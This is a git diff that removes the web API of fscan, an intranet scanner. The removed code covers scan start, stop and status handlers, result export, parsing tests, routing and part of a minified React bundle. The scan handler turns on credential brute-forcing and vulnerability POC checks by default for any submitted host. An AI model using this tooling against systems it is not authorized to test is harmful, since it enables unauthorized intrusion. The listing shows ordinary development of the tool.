`json:"summary"` - Hosts []ResultItem `json:"hosts,omitempty"` - Ports []ResultItem `json:"ports,omitempty"` - Services []ResultItem `json:"services,omitempty"` - Vulns []ResultItem `json:"vulns,omitempty"` -} - -// ExportSummary 导出摘要 -type ExportSummary struct { - TotalHosts int `json:"total_hosts"` - TotalPorts int `json:"total_ports"` - TotalServices int `json:"total_services"` - TotalVulns int `json:"total_vulns"` -} - -// Export 导出结果 -func (h *ResultHandler) Export(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - format := r.URL.Query().Get("format") - if format == "" { - format = "json" - } - - items := h.store.List() - - var hosts, ports, services, vulns []ResultItem - for _, item := range items { - switch item.Type { - case "host": - hosts = append(hosts, item) - case "port": - ports = append(ports, item) - case "service": - services = append(services, item) - case "vuln": - vulns = append(vulns, item) - } - } - - switch format { - case "json": - w.Header().Set("Content-Type", "application/json") - w.Header().Set("Content-Disposition", "attachment; filename=fscan_results.json") - - output := ExportOutput{ - ScanTime: time.Now(), - Summary: ExportSummary{ - TotalHosts: len(hosts), - TotalPorts: len(ports), - TotalServices: len(services), - TotalVulns: len(vulns), - }, - Hosts: hosts, - Ports: ports, - Services: services, - Vulns: vulns, - } - json.NewEncoder(w).Encode(output) - - case "csv": - w.Header().Set("Content-Type", "text/csv") - w.Header().Set("Content-Disposition", "attachment; filename=fscan_results.csv") - writer := csv.NewWriter(w) - - if len(hosts) > 0 { - writer.Write([]string{"# Hosts"}) - writer.Write([]string{"Target"}) - for _, item := range hosts { - writer.Write([]string{item.Target}) - } - writer.Write([]string{}) - } - - if len(ports) > 0 { - writer.Write([]string{"# Ports"}) - writer.Write([]string{"Target", "Port", "Status"}) - for _, item := range ports { - port := extractPort(item.Target) - target := extractHost(item.Target) - writer.Write([]string{target, port, "open"}) - } - writer.Write([]string{}) - } - - if len(services) > 0 { - writer.Write([]string{"# Services"}) - writer.Write([]string{"Target", "Service", "Version", "Banner"}) - for _, item := range services { - service, version, banner := extractServiceInfo(item.Details) - writer.Write([]string{item.Target, service, version, banner}) - } - writer.Write([]string{}) - } - - if len(vulns) > 0 { - writer.Write([]string{"# Vulns"}) - writer.Write([]string{"Target", "Type", "Details"}) - for _, item := range vulns { - vulnType := extractVulnType(item.Details) - writer.Write([]string{item.Target, vulnType, item.Status}) - } - writer.Write([]string{}) - } - - writer.Flush() - - default: - http.Error(w, "Unsupported format", http.StatusBadRequest) - } -} - -// extractPort 从 "ip:port" 中提取端口 -func extractPort(target string) string { - _, port, ok := splitTargetHostPort(target) - if !ok { - return "" - } - return port -} - -// extractHost 从 "ip:port" 中提取主机 -func extractHost(target string) string { - host, _, ok := splitTargetHostPort(target) - if !ok { - return target - } - return host -} - -func splitTargetHostPort(target string) (string, string, bool) { - host, port, err := net.SplitHostPort(target) - if err != nil { - if strings.Count(target, ":") != 1 { - return "", "", false - } - parts := strings.SplitN(target, ":", 2) - host, port = parts[0], parts[1] - } - if host == "" || port == "" { - return "", "", false - } - portNum, err := strconv.Atoi(port) - if err != nil || portNum < 1 || portNum > 65535 { - return "", "", false - } - return host, port, true -} - -// extractServiceInfo 从 details 中提取服务信息 -func extractServiceInfo(details interface{}) (service, version, banner string) { - if m, ok := details.(map[string]interface{}); ok { - if s, ok := m["service"].(string); ok { - service = s - } - if s, ok := m["name"].(string); ok && service == "" { - service = s - } - if v, ok := m["version"].(string); ok { - version = v - } - if b, ok := m["banner"].(string); ok { - banner = escapeControlChars(b) - banner = truncateString(banner, 100) - } - } - return -} - -func truncateString(s string, maxRunes int) string { - if maxRunes < 0 { - return s - } - for i := range s { - if maxRunes == 0 { - return s[:i] + "..." - } - maxRunes-- - } - return s -} - -// extractVulnType 从 details 中提取漏洞类型 -func extractVulnType(details interface{}) string { - if m, ok := details.(map[string]interface{}); ok { - if t, ok := m["type"].(string); ok { - return t - } - } - return "" -} - -// escapeControlChars 转义控制字符 -func escapeControlChars(s string) string { - replacer := strings.NewReplacer( - "\r\n", "\\r\\n", - "\n", "\\n", - "\r", "\\r", - "\t", "\\t", - ) - return replacer.Replace(s) -} - -// Clear 清空结果 -func (h *ResultHandler) Clear(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - h.store.Clear() - writeJSON(w, http.StatusOK, map[string]string{ - "status": "cleared", - }) -} - -// buildStatusFromDetails 从details构建可读的status -func buildStatusFromDetails(resultType, originalStatus string, details map[string]interface{}) string { - var parts []string - - switch resultType { - case "port": - return "open" - - case "service": - if name, ok := details["name"].(string); ok && name != "" { - parts = append(parts, name) - } - if version, ok := details["version"].(string); ok && version != "" { - parts = append(parts, version) - } - if product, ok := details["product"].(string); ok && product != "" { - parts = append(parts, product) - } - if os, ok := details["os"].(string); ok && os != "" { - parts = append(parts, os) - } - if len(parts) > 0 { - return strings.Join(parts, " | ") - } - - case "vuln": - return normalizeVulnStatus(originalStatus, details) - - case "host": - return "alive" - } - - return originalStatus -} - -// normalizeVulnStatus 统一漏洞状态显示 -func normalizeVulnStatus(status string, details map[string]interface{}) string { - vulnTranslations := map[string]string{ - "weak_credential": i18n.GetText("web_result_weak_credential"), - "unauthorized": i18n.GetText("unauthorized_access"), - "unauth": i18n.GetText("unauthorized_access"), - "anonymous": i18n.GetText("web_result_anonymous_access"), - "CVE": i18n.GetText("web_result_vulnerability"), - } - - if strings.HasPrefix(status, "weak_credential:") { - cred := strings.TrimPrefix(status, "weak_credential:") - cred = strings.TrimSpace(cred) - return i18n.Tr("web_result_weak_credential_detail", cred) - } - - for eng, chn := range vulnTranslations { - if strings.Contains(strings.ToLower(status), strings.ToLower(eng)) { - if strings.Contains(status, chn) { - return status - } - return strings.Replace(status, eng, chn, 1) - } - } - - return status -} diff --git a/web/api/result_test.go b/web/api/result_test.go deleted file mode 100644 index d9ba5492..00000000 --- a/web/api/result_test.go +++ /dev/null @@ -1,74 +0,0 @@ -//go:build web - -package api - -import ( - "testing" - "unicode/utf8" -) - -func TestExtractHostPortIPv6(t *testing.T) { - tests := []struct { - name string - target string - wantHost string - wantPort string - }{ - {name: "ipv4", target: "192.168.1.1:80", wantHost: "192.168.1.1", wantPort: "80"}, - {name: "hostname", target: "example.com:443", wantHost: "example.com", wantPort: "443"}, - {name: "bracketed ipv6", target: "[2001:db8::1]:8443", wantHost: "2001:db8::1", wantPort: "8443"}, - {name: "bare ipv6 without port", target: "2001:db8::1", wantHost: "2001:db8::1", wantPort: ""}, - {name: "invalid port", target: "example.com:abc", wantHost: "example.com:abc", wantPort: ""}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := extractHost(tt.target); got != tt.wantHost { - t.Fatalf("extractHost(%q) = %q, want %q", tt.target, got, tt.wantHost) - } - if got := extractPort(tt.target); got != tt.wantPort { - t.Fatalf("extractPort(%q) = %q, want %q", tt.target, got, tt.wantPort) - } - }) - } -} - -func TestTargetWithDetailsPort(t *testing.T) { - tests := []struct { - name string - target string - port interface{} - want string - }{ - {name: "hostname", target: "example.com", port: 443, want: "example.com:443"}, - {name: "ipv4", target: "192.168.1.1", port: "80", want: "192.168.1.1:80"}, - {name: "bare ipv6", target: "2001:db8::1", port: 8443, want: "[2001:db8::1]:8443"}, - {name: "bracketed ipv6", target: "[2001:db8::1]", port: 8443, want: "[2001:db8::1]:8443"}, - {name: "already has port", target: "[2001:db8::1]:8443", port: 9443, want: ""}, - {name: "invalid colon target", target: "example.com:abc", port: 80, want: ""}, - {name: "url target", target: "http://example.com", port: 80, want: ""}, - {name: "bad port", target: "example.com", port: 70000, want: ""}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := targetWithDetailsPort(tt.target, tt.port); got != tt.want { - t.Fatalf("targetWithDetailsPort(%q, %v) = %q, want %q", tt.target, tt.port, got, tt.want) - } - }) - } -} - -func TestExtractServiceInfoTruncatesBannerByRune(t *testing.T) { - banner := "" - for i := 0; i < 105; i++ { - banner += "界" - } - _, _, got := extractServiceInfo(map[string]interface{}{"banner": banner}) - if !utf8.ValidString(got) { - t.Fatalf("banner is not valid utf8: %q", got) - } - if len([]rune(got)) != 103 || got[len(got)-3:] != "..." { - t.Fatalf("banner = %q, rune len %d", got, len([]rune(got))) - } -} diff --git a/web/api/router.go b/web/api/router.go deleted file mode 100644 index 03634cec..00000000 --- a/web/api/router.go +++ /dev/null @@ -1,55 +0,0 @@ -//go:build web - -package api - -import ( - "fmt" - "net/http" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/web/ws" -) - -// RegisterRoutes 注册所有API路由 -func RegisterRoutes(mux *http.ServeMux, hub *ws.Hub) { - // 扫描管理 - scanHandler := NewScanHandler(hub) - mux.HandleFunc("/api/scan/start", scanHandler.Start) - mux.HandleFunc("/api/scan/stop", scanHandler.Stop) - mux.HandleFunc("/api/scan/status", scanHandler.Status) - - // 结果查询 - resultHandler := NewResultHandler() - mux.HandleFunc("/api/results", resultHandler.List) - mux.HandleFunc("/api/results/export", resultHandler.Export) - mux.HandleFunc("/api/results/clear", resultHandler.Clear) - - // 配置 - configHandler := NewConfigHandler() - mux.HandleFunc("/api/config/presets", configHandler.Presets) - mux.HandleFunc("/api/config/plugins", configHandler.Plugins) - - // 项目缓存 - projectHandler := NewProjectHandler() - mux.HandleFunc("/api/projects", projectHandler.List) - mux.HandleFunc("/api/projects/create", projectHandler.Create) - mux.HandleFunc("/api/projects/get", projectHandler.Get) - mux.HandleFunc("/api/projects/delete", projectHandler.Delete) - mux.HandleFunc("/api/projects/cache", projectHandler.Cache) - - // 系统信息 - mux.HandleFunc("/api/system/info", systemInfo) - mux.HandleFunc("/api/health", healthCheck) -} - -// healthCheck 健康检查 -func healthCheck(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Content-Type", "application/json") - w.Write([]byte(`{"status":"ok"}`)) -} - -// systemInfo 系统信息 -func systemInfo(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Content-Type", "application/json") - fmt.Fprintf(w, `{"version":"%s","build":"web"}`, common.GetVersion()) -} diff --git a/web/api/router_stub.go b/web/api/router_stub.go deleted file mode 100644 index 0ef86156..00000000 --- a/web/api/router_stub.go +++ /dev/null @@ -1,14 +0,0 @@ -//go:build !web - -package api - -import ( - "net/http" - - "github.com/shadow1ng/fscan/web/ws" -) - -// RegisterRoutes 非Web版本的空实现 -func RegisterRoutes(mux *http.ServeMux, hub *ws.Hub) { - // 非Web版本不注册任何路由 -} diff --git a/web/api/scan.go b/web/api/scan.go deleted file mode 100644 index 6858f0bf..00000000 --- a/web/api/scan.go +++ /dev/null @@ -1,323 +0,0 @@ -//go:build web - -package api - -import ( - "context" - "encoding/json" - "errors" - "net/http" - "sync" - "sync/atomic" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/core" - "github.com/shadow1ng/fscan/web/ws" -) - -// ScanState 扫描状态 -type ScanState int32 - -const ( - ScanStateIdle ScanState = iota - ScanStateRunning - ScanStateStopping -) - -// ScanRequest 扫描请求 -type ScanRequest struct { - // 目标 - Host string `json:"host"` - Ports string `json:"ports"` - ExcludeHosts string `json:"exclude_hosts"` - ExcludePorts string `json:"exclude_ports"` - - // 扫描控制 - ScanMode string `json:"scan_mode"` - ThreadNum int `json:"thread_num"` - Timeout int `json:"timeout"` - ModuleThreadNum int `json:"module_thread_num"` - DisablePing bool `json:"disable_ping"` - DisableBrute bool `json:"disable_brute"` - DisableSubnetProbe bool `json:"disable_subnet_probe"` - AliveOnly bool `json:"alive_only"` - - // 认证 - Username string `json:"username"` - Password string `json:"password"` - Domain string `json:"domain"` - - // POC - PocPath string `json:"poc_path"` - PocName string `json:"poc_name"` - PocFull bool `json:"poc_full"` - DisablePoc bool `json:"disable_poc"` - - // 项目缓存 - ProjectID string `json:"project_id,omitempty"` -} - -// ScanStatus 扫描状态响应 -type ScanStatus struct { - State string `json:"state"` - StartTime time.Time `json:"start_time,omitempty"` - Progress float64 `json:"progress"` - Stats ScanStats `json:"stats"` -} - -// ScanStats 扫描统计 -type ScanStats struct { - HostsScanned int `json:"hosts_scanned"` - PortsScanned int `json:"ports_scanned"` - ServicesFound int `json:"services_found"` - VulnsFound int `json:"vulns_found"` -} - -// ScanHandler 扫描处理器 -type ScanHandler struct { - hub *ws.Hub - state int32 - startTime time.Time - cancelFn context.CancelFunc - mu sync.RWMutex - results *ResultStore -} - -// NewScanHandler 创建扫描处理器 -func NewScanHandler(hub *ws.Hub) *ScanHandler { - return &ScanHandler{ - hub: hub, - results: globalResultStore, - } -} - -// Start 启动扫描 -func (h *ScanHandler) Start(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - // 检查是否已在扫描 - if !atomic.CompareAndSwapInt32(&h.state, int32(ScanStateIdle), int32(ScanStateRunning)) { - writeJSON(w, http.StatusConflict, map[string]string{ - "error": "scan already running", - }) - return - } - - // 解析请求 - var req ScanRequest - if err := json.NewDecoder(r.Body).Decode(&req); err != nil { - atomic.StoreInt32(&h.state, int32(ScanStateIdle)) - writeJSON(w, http.StatusBadRequest, map[string]string{ - "error": "invalid request: " + err.Error(), - }) - return - } - - // 验证必填参数 - if req.Host == "" { - atomic.StoreInt32(&h.state, int32(ScanStateIdle)) - writeJSON(w, http.StatusBadRequest, map[string]string{ - "error": "host is required", - }) - return - } - - h.mu.Lock() - h.startTime = time.Now() - h.mu.Unlock() - - // 清空旧结果 - h.results.Clear() - - // 广播扫描开始 - h.hub.Broadcast(ws.MsgScanStarted, map[string]interface{}{ - "host": req.Host, - "start_time": h.startTime, - }) - - // 异步执行扫描 - go h.runScan(req) - - writeJSON(w, http.StatusOK, map[string]interface{}{ - "status": "started", - "start_time": h.startTime, - }) -} - -// runScan 执行扫描 -func (h *ScanHandler) runScan(req ScanRequest) { - ctx, cancel := context.WithCancel(context.Background()) - - h.mu.Lock() - h.cancelFn = cancel - h.mu.Unlock() - - defer func() { - cancel() - h.mu.Lock() - h.cancelFn = nil - h.mu.Unlock() - common.ClearResultCallback() - atomic.StoreInt32(&h.state, int32(ScanStateIdle)) - h.hub.Broadcast(ws.MsgScanCompleted, map[string]interface{}{ - "duration": time.Since(h.startTime).Seconds(), - "stats": h.results.Stats(), - }) - }() - - // 构建HostInfo - info := common.HostInfo{ - Host: req.Host, - } - - // 构建FlagVars - fv := &common.FlagVars{} - fv.Ports = req.Ports - if fv.Ports == "" { - fv.Ports = "21,22,23,25,80,110,135,139,143,443,445,465,587,993,995,1433,1521,3306,3389,5432,5900,6379,8080,8443,9000,27017" - } - fv.ExcludeHosts = req.ExcludeHosts - fv.ExcludePorts = req.ExcludePorts - fv.ScanMode = req.ScanMode - if fv.ScanMode == "" { - fv.ScanMode = "all" - } - fv.ThreadNum = req.ThreadNum - if fv.ThreadNum <= 0 { - fv.ThreadNum = 600 - } - fv.TimeoutSec = int64(req.Timeout) - if fv.TimeoutSec == 0 { - fv.TimeoutSec = 3 - } - fv.ModuleThreadNum = req.ModuleThreadNum - if fv.ModuleThreadNum <= 0 { - fv.ModuleThreadNum = 20 - } - fv.DisablePing = req.DisablePing - fv.DisableBrute = req.DisableBrute - fv.DisableSubnetProbe = req.DisableSubnetProbe - fv.AliveOnly = req.AliveOnly - fv.Username = req.Username - fv.Password = req.Password - fv.Domain = req.Domain - fv.PocPath = req.PocPath - fv.PocName = req.PocName - fv.PocFull = req.PocFull - fv.DisablePocScan = req.DisablePoc - fv.DisableSave = true // Web模式不保存到文件 - fv.Silent = true // 静默模式 - - // 用户指定了线程数则标记为显式 - if req.ThreadNum > 0 { - fv.ThreadNumExplicit = true - } - - // 构建Config和Session - config := common.BuildConfigFromFlags(fv) - state := common.NewState() - session := common.NewScanSession(config, state, fv) - - // 过渡桥:全局状态同步(待 Phase 5 移除) - common.SetGlobalConfig(config) - common.SetGlobalState(state) - - // 项目缓存注入:把已知的 host:port 加入扫描目标 - if req.ProjectID != "" { - if cached := globalProjectStore.CachedHostPorts(req.ProjectID); len(cached) > 0 { - state.SetHostPorts(cached) - } - } - - // 设置WebSocket结果回调 - common.SetResultCallback(func(result interface{}) { - item := h.results.Add(result) - if item != nil { - h.hub.Broadcast(ws.MsgScanResult, item) - } - }) - - // 执行扫描 - if _, err := core.RunScan(ctx, info, session); err != nil && !errors.Is(err, context.Canceled) { - common.LogError(err.Error()) - } - - // 项目缓存回写:合并本次扫描结果 - if req.ProjectID != "" { - items := h.results.List() - if len(items) > 0 { - _ = globalProjectStore.MergeResults(req.ProjectID, items) - } - } -} - -// Stop 停止扫描 -func (h *ScanHandler) Stop(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - if atomic.LoadInt32(&h.state) != int32(ScanStateRunning) { - writeJSON(w, http.StatusBadRequest, map[string]string{ - "error": "no scan running", - }) - return - } - - atomic.StoreInt32(&h.state, int32(ScanStateStopping)) - - h.mu.Lock() - if h.cancelFn != nil { - h.cancelFn() - } - h.mu.Unlock() - - writeJSON(w, http.StatusOK, map[string]string{ - "status": "stopping", - }) -} - -// Status 获取扫描状态 -func (h *ScanHandler) Status(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - return - } - - state := atomic.LoadInt32(&h.state) - stateStr := "idle" - switch ScanState(state) { - case ScanStateRunning: - stateStr = "running" - case ScanStateStopping: - stateStr = "stopping" - } - - h.mu.RLock() - startTime := h.startTime - h.mu.RUnlock() - - // 从 ProgressManager 获取进度百分比 - progress := common.GetProgressPercent() - - status := ScanStatus{ - State: stateStr, - StartTime: startTime, - Progress: progress, - Stats: h.results.Stats(), - } - - writeJSON(w, http.StatusOK, status) -} - -// writeJSON 写入JSON响应 -func writeJSON(w http.ResponseWriter, status int, data interface{}) { - w.Header().Set("Content-Type", "application/json") - w.WriteHeader(status) - json.NewEncoder(w).Encode(data) -} diff --git a/web/dist/assets/index-5JoZok-U.js b/web/dist/assets/index-5JoZok-U.js deleted file mode 100644 index d07ab496..00000000 --- a/web/dist/assets/index-5JoZok-U.js +++ /dev/null @@ -1,96 +0,0 @@ -function C$(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const l of i)if(l.type==="childList")for(const c of l.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&r(c)}).observe(document,{childList:!0,subtree:!0});function n(i){const l={};return i.integrity&&(l.integrity=i.integrity),i.referrerPolicy&&(l.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?l.credentials="include":i.crossOrigin==="anonymous"?l.credentials="omit":l.credentials="same-origin",l}function r(i){if(i.ep)return;i.ep=!0;const l=n(i);fetch(i.href,l)}})();function Vr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var og={exports:{}},ec={};var cA;function _$(){if(cA)return ec;cA=1;var e=Symbol.for("react.transitional.element"),t=Symbol.for("react.fragment");function n(r,i,l){var c=null;if(l!==void 0&&(c=""+l),i.key!==void 0&&(c=""+i.key),"key"in i){l={};for(var u in i)u!=="key"&&(l[u]=i[u])}else l=i;return i=l.ref,{$$typeof:e,type:r,key:c,ref:i!==void 0?i:null,props:l}}return ec.Fragment=t,ec.jsx=n,ec.jsxs=n,ec}var uA;function T$(){return uA||(uA=1,og.exports=_$()),og.exports}var E=T$(),lg={exports:{}},Ne={};var fA;function N$(){if(fA)return Ne;fA=1;var e=Symbol.for("react.transitional.element"),t=Symbol.for("react.portal"),n=Symbol.for("react.fragment"),r=Symbol.for("react.strict_mode"),i=Symbol.for("react.profiler"),l=Symbol.for("react.consumer"),c=Symbol.for("react.context"),u=Symbol.for("react.forward_ref"),f=Symbol.for("react.suspense"),h=Symbol.for("react.memo"),p=Symbol.for("react.lazy"),m=Symbol.for("react.activity"),y=Symbol.iterator;function x(D){return D===null||typeof D!="object"?null:(D=y&&D[y]||D["@@iterator"],typeof D=="function"?D:null)}var S={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},w=Object.assign,O={};function A(D,X,ae){this.props=D,this.context=X,this.refs=O,this.updater=ae||S}A.prototype.isReactComponent={},A.prototype.setState=function(D,X){if(typeof D!="object"&&typeof D!="function"&&D!=null)throw Error("takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,D,X,"setState")},A.prototype.forceUpdate=function(D){this.updater.enqueueForceUpdate(this,D,"forceUpdate")};function _(){}_.prototype=A.prototype;function T(D,X,ae){this.props=D,this.context=X,this.refs=O,this.updater=ae||S}var j=T.prototype=new _;j.constructor=T,w(j,A.prototype),j.isPureReactComponent=!0;var M=Array.isArray;function P(){}var R={H:null,A:null,T:null,S:null},I=Object.prototype.hasOwnProperty;function B(D,X,ae){var se=ae.ref;return{$$typeof:e,type:D,key:X,ref:se!==void 0?se:null,props:ae}}function q(D,X){return B(D.type,X,D.props)}function U(D){return typeof D=="object"&&D!==null&&D.$$typeof===e}function V(D){var X={"=":"=0",":":"=2"};return"$"+D.replace(/[=:]/g,function(ae){return X[ae]})}var oe=/\/+/g;function le(D,X){return typeof D=="object"&&D!==null&&D.key!=null?V(""+D.key):X.toString(36)}function ce(D){switch(D.status){case"fulfilled":return D.value;case"rejected":throw D.reason;default:switch(typeof D.status=="string"?D.then(P,P):(D.status="pending",D.then(function(X){D.status==="pending"&&(D.status="fulfilled",D.value=X)},function(X){D.status==="pending"&&(D.status="rejected",D.reason=X)})),D.status){case"fulfilled":return D.value;case"rejected":throw D.reason}}throw D}function L(D,X,ae,se,me){var xe=typeof D;(xe==="undefined"||xe==="boolean")&&(D=null);var ee=!1;if(D===null)ee=!0;else switch(xe){case"bigint":case"string":case"number":ee=!0;break;case"object":switch(D.$$typeof){case e:case t:ee=!0;break;case p:return ee=D._init,L(ee(D._payload),X,ae,se,me)}}if(ee)return me=me(D),ee=se===""?"."+le(D,0):se,M(me)?(ae="",ee!=null&&(ae=ee.replace(oe,"$&/")+"/"),L(me,X,ae,"",function(fe){return fe})):me!=null&&(U(me)&&(me=q(me,ae+(me.key==null||D&&D.key===me.key?"":(""+me.key).replace(oe,"$&/")+"/")+ee)),X.push(me)),1;ee=0;var _e=se===""?".":se+":";if(M(D))for(var Q=0;Q>>1,de=L[Z];if(0>>1;Zi(ae,$))sei(me,ae)?(L[Z]=me,L[se]=$,Z=se):(L[Z]=ae,L[X]=$,Z=X);else if(sei(me,$))L[Z]=me,L[se]=$,Z=se;else break e}}return F}function i(L,F){var $=L.sortIndex-F.sortIndex;return $!==0?$:L.id-F.id}if(e.unstable_now=void 0,typeof performance=="object"&&typeof performance.now=="function"){var l=performance;e.unstable_now=function(){return l.now()}}else{var c=Date,u=c.now();e.unstable_now=function(){return c.now()-u}}var f=[],h=[],p=1,m=null,y=3,x=!1,S=!1,w=!1,O=!1,A=typeof setTimeout=="function"?setTimeout:null,_=typeof clearTimeout=="function"?clearTimeout:null,T=typeof setImmediate<"u"?setImmediate:null;function j(L){for(var F=n(h);F!==null;){if(F.callback===null)r(h);else if(F.startTime<=L)r(h),F.sortIndex=F.expirationTime,t(f,F);else break;F=n(h)}}function M(L){if(w=!1,j(L),!S)if(n(f)!==null)S=!0,P||(P=!0,V());else{var F=n(h);F!==null&&ce(M,F.startTime-L)}}var P=!1,R=-1,I=5,B=-1;function q(){return O?!0:!(e.unstable_now()-BL&&q());){var Z=m.callback;if(typeof Z=="function"){m.callback=null,y=m.priorityLevel;var de=Z(m.expirationTime<=L);if(L=e.unstable_now(),typeof de=="function"){m.callback=de,j(L),F=!0;break t}m===n(f)&&r(f),j(L)}else r(f);m=n(f)}if(m!==null)F=!0;else{var D=n(h);D!==null&&ce(M,D.startTime-L),F=!1}}break e}finally{m=null,y=$,x=!1}F=void 0}}finally{F?V():P=!1}}}var V;if(typeof T=="function")V=function(){T(U)};else if(typeof MessageChannel<"u"){var oe=new MessageChannel,le=oe.port2;oe.port1.onmessage=U,V=function(){le.postMessage(null)}}else V=function(){A(U,0)};function ce(L,F){R=A(function(){L(e.unstable_now())},F)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(L){L.callback=null},e.unstable_forceFrameRate=function(L){0>L||125Z?(L.sortIndex=$,t(h,L),n(f)===null&&L===n(h)&&(w?(_(R),R=-1):w=!0,ce(M,$-Z))):(L.sortIndex=de,t(f,L),S||x||(S=!0,P||(P=!0,V()))),L},e.unstable_shouldYield=q,e.unstable_wrapCallback=function(L){var F=y;return function(){var $=y;y=F;try{return L.apply(this,arguments)}finally{y=$}}}})(ug)),ug}var pA;function j$(){return pA||(pA=1,cg.exports=M$()),cg.exports}var fg={exports:{}},nn={};var mA;function P$(){if(mA)return nn;mA=1;var e=Ul();function t(f){var h="https://react.dev/errors/"+f;if(1"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}return e(),fg.exports=P$(),fg.exports}var gA;function R$(){if(gA)return tc;gA=1;var e=j$(),t=Ul(),n=sM();function r(a){var o="https://react.dev/errors/"+a;if(1de||(a.current=Z[de],Z[de]=null,de--)}function ae(a,o){de++,Z[de]=a.current,a.current=o}var se=D(null),me=D(null),xe=D(null),ee=D(null);function _e(a,o){switch(ae(xe,o),ae(me,a),ae(se,null),o.nodeType){case 9:case 11:a=(a=o.documentElement)&&(a=a.namespaceURI)?PE(a):0;break;default:if(a=o.tagName,o=o.namespaceURI)o=PE(o),a=RE(o,a);else switch(a){case"svg":a=1;break;case"math":a=2;break;default:a=0}}X(se),ae(se,a)}function Q(){X(se),X(me),X(xe)}function fe(a){a.memoizedState!==null&&ae(ee,a);var o=se.current,s=RE(o,a.type);o!==s&&(ae(me,a),ae(se,s))}function he(a){me.current===a&&(X(se),X(me)),ee.current===a&&(X(ee),Xs._currentValue=$)}var ne,Ke;function je(a){if(ne===void 0)try{throw Error()}catch(s){var o=s.stack.trim().match(/\n( *(at )?)/);ne=o&&o[1]||"",Ke=-1)":-1g||k[d]!==Y[g]){var te=` -`+k[d].replace(" at new "," at ");return a.displayName&&te.includes("")&&(te=te.replace("",a.displayName)),te}while(1<=d&&0<=g);break}}}finally{bt=!1,Error.prepareStackTrace=s}return(s=a?a.displayName||a.name:"")?je(s):""}function Cn(a,o){switch(a.tag){case 26:case 27:case 5:return je(a.type);case 16:return je("Lazy");case 13:return a.child!==o&&o!==null?je("Suspense Fallback"):je("Suspense");case 19:return je("SuspenseList");case 0:case 15:return xt(a.type,!1);case 11:return xt(a.type.render,!1);case 1:return xt(a.type,!0);case 31:return je("Activity");default:return""}}function ls(a){try{var o="",s=null;do o+=Cn(a,s),s=a,a=a.return;while(a);return o}catch(d){return` -Error generating stack: `+d.message+` -`+d.stack}}var Vp=Object.prototype.hasOwnProperty,Kp=e.unstable_scheduleCallback,Yp=e.unstable_cancelCallback,a5=e.unstable_shouldYield,i5=e.unstable_requestPaint,_n=e.unstable_now,o5=e.unstable_getCurrentPriorityLevel,uw=e.unstable_ImmediatePriority,fw=e.unstable_UserBlockingPriority,yu=e.unstable_NormalPriority,l5=e.unstable_LowPriority,dw=e.unstable_IdlePriority,s5=e.log,c5=e.unstable_setDisableYieldValue,ss=null,Tn=null;function Ba(a){if(typeof s5=="function"&&c5(a),Tn&&typeof Tn.setStrictMode=="function")try{Tn.setStrictMode(ss,a)}catch{}}var Nn=Math.clz32?Math.clz32:d5,u5=Math.log,f5=Math.LN2;function d5(a){return a>>>=0,a===0?32:31-(u5(a)/f5|0)|0}var bu=256,xu=262144,wu=4194304;function Ni(a){var o=a&42;if(o!==0)return o;switch(a&-a){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return a&261888;case 262144:case 524288:case 1048576:case 2097152:return a&3932160;case 4194304:case 8388608:case 16777216:case 33554432:return a&62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return a}}function Su(a,o,s){var d=a.pendingLanes;if(d===0)return 0;var g=0,b=a.suspendedLanes,C=a.pingedLanes;a=a.warmLanes;var N=d&134217727;return N!==0?(d=N&~b,d!==0?g=Ni(d):(C&=N,C!==0?g=Ni(C):s||(s=N&~a,s!==0&&(g=Ni(s))))):(N=d&~b,N!==0?g=Ni(N):C!==0?g=Ni(C):s||(s=d&~a,s!==0&&(g=Ni(s)))),g===0?0:o!==0&&o!==g&&(o&b)===0&&(b=g&-g,s=o&-o,b>=s||b===32&&(s&4194048)!==0)?o:g}function cs(a,o){return(a.pendingLanes&~(a.suspendedLanes&~a.pingedLanes)&o)===0}function h5(a,o){switch(a){case 1:case 2:case 4:case 8:case 64:return o+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return o+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 